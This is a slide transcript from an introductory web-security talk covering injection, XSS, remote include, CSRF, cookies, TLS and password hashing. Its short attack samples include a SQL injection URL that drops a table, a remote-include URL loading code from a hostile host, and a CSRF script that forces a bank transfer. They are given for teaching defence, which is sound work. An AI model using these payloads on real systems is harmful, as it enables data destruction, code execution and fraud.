RCOS Security Talk

Basic overview of common vulnerabilities and best practices.

Transcript

1. YOU SUCK at security
2. 1. Your attackers are better
3. Do NOT ROLL YOUR OWN
5. 1.  Open-source 2.  Audited 3.  Active community
6. 2. Security is hard
7. No. Seriously.
8. 5,000 CVEs /yr
9. 3. Dont trust input
10. <?php! $query = "SELECT * FROM users WHERE username='". "$_GET[’user']."'"; ! $result = mysql_query($query);!
11. /derp.php?user=x’ DROP TABLE users;--!
12. /derp.php?user=x’ DROP TABLE users;--! http://xkcd.com/327/
13. <?php! $stmt = $dbh->prepare("SELECT FROM users WHERE username=?");! $stmt->execute(array($_GET['user']));! Use Parameter Binding
14. <div><?php echo $row['username']; ?></div>! XSS. Inject javascript
15. <html>! <body>! "<form method="POST" action="/users/add">! " "<input type="text" name="username">! " "<input type="password" name="password">! " "<input type="hidden" name="isAdmin" value="true">! " "<button type="submit">Create user</button>! "</form>! </body>! </html>! Unexpected Input. Sneaky DOM edit
16. <?php! include('header.php');! include($_GET['page']);! include('footer.php');! ! /index.php?page=http://sketchy.su/BadTime.php! Remote Include.
17. Sanitize all input
18. Blacklist Only use if you know all cases Less restrictive on user
19. Whitelist Best security Very restrictive
20. Protip Markdown Google Caja
21. 4. Protect your cookies
22. Set-Cookie: SESSIONID=S8d2d1ffd5cb37209ef71982b80f16d7b! Bad Session
23. Set-Cookie: SESSIONID=S8d2d1ffd5cb37209ef71982b80f16d7b; ! "HttpOnly; secure! GOOD Session Send over SSL only HTTP access only Prevents XSS theft
24. 5. No Outsiders
25. <iframe name="bank"></iframe>! <script>! "document.write('! " "<form ! " " action="https://MyBank.com/account/transfer" ! " " target="bank" ! " " method="POST" ! " " name="injected">! " " "<input type="text" name="amount" value="1000.00" />! " " "<input type="text" name="to" value="snowden@aol.com" />! " "</form>! "');! "injected.submit();! </script>!
26. CSRF sucks
27. Block it. Require a unique token per request X-Frame-Options: Block
28. 6. Encrypt everything
29. Too expensive? startssl.com
30. Self-sign Dev Environment openssl req -x509 -newkey des3:2048 -keyout key.pem - out cert.pem -days XXX!
31. Verify All CERTS <?php! // cURL supports SSL verification! curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);! ! //File_get_contents does NOT! file_get_contents($url);!
32. Verify Servers Use server certs to verify servers to one another
33. Harden SSL Disable SSL2 Disable TLS1.0 compression Disable weak ciphers (DES, RC4) h"p://blog.cloudflare.com/staying-­‐on-­‐top-­‐of-­‐tls-­‐a"acks  
34. Force SSL
35. 7. Use Slow Hashes
36. No Plaintext Passwords Just don’t.
37. Hash + Salt MD5 SHA1 … HMAC + bcrypt
38. Wait. Explain. We want to be slow.
39. Method password = bcrypt(HMAC(password, local_salt), bcrypt_salt)!
40. Salt-free db Store salt on file system Two attacks needed Or both
41. Migrate. Maintain two hashes Rehash on successful login Purge old hashes after x duration
42. Lost Passwords Hash a one-time login ID
43. 8. Remember the basics
44. Random IV Having the IV be public is okay
45. Wait for entropy /dev/random waits /dev/urandom non-blocking
46. Use ECC NSA-Proof * * As far as we know, at least…
47. Passwordless Login Use keypairs for server access
48. 9. Use libraries
49. Crypto NaCL SJCL Crypto++ QCA
50. Web Frameworks Python: Django, Flask PHP: Laravel, Phalcon Go: Revel Node: Sails Java/Scala: Play Ruby: Rails
51. Assume nothing Always research security best practices
52. Questions? Complaints?
53. Im hiring Sysadmin.union.rpi.edu/apply